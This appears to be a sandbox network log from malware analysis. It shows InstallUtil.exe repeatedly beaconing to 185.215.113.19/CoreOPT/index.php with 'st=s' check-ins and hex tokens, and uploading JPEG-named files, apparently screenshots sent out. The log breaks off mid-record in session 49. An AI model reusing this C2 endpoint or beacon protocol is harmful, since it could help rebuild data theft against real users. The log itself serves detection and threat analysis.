Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	49760	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:16.169254065 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:16.169296026 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:16.169343948 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:16.169372082 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:16.169399977 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:16.169426918 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:16.169454098 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:16.169480085 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:16.169503927 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:16.169533014 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:16.169558048 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:17.787527084 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	49761	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:16.481753111 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:17.494798899 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:17.495888948 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:17.911607981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 16, 2024 19:23:17.951747894 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:17.951809883 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:17.951860905 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:17.951889038 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:17.951915026 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:17.951941013 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:17.951965094 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:17.951988935 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:17.952013016 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:17.952034950 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:17.952061892 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:19.097579002 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	49762	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:18.022598982 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:19.028918982 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:19.030518055 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:19.440416098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	49763	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:19.293613911 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:19.293613911 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:19.293684959 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:19.293684959 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:19.293684959 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:19.293684959 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:19.293684959 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:19.293798923 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:19.293798923 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:19.293798923 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:19.293800116 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:20.995235920 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	49764	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:19.641987085 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:20.633498907 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:20.634588003 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:21.053309917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.9	49765	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:21.183407068 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:22.216367960 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:22.218049049 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:23.407279015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 16, 2024 19:23:23.408077002 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 16, 2024 19:23:23.408951998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	49766	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:21.248101950 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:21.248164892 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:21.248287916 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:21.248287916 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:21.248287916 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:21.248287916 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:21.248308897 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:21.248408079 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:21.248408079 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:21.248408079 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:21.248408079 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:23.408446074 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 16, 2024 19:23:23.409317970 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 16, 2024 19:23:23.410042048 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.9	49767	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:23.523554087 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:24.584965944 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 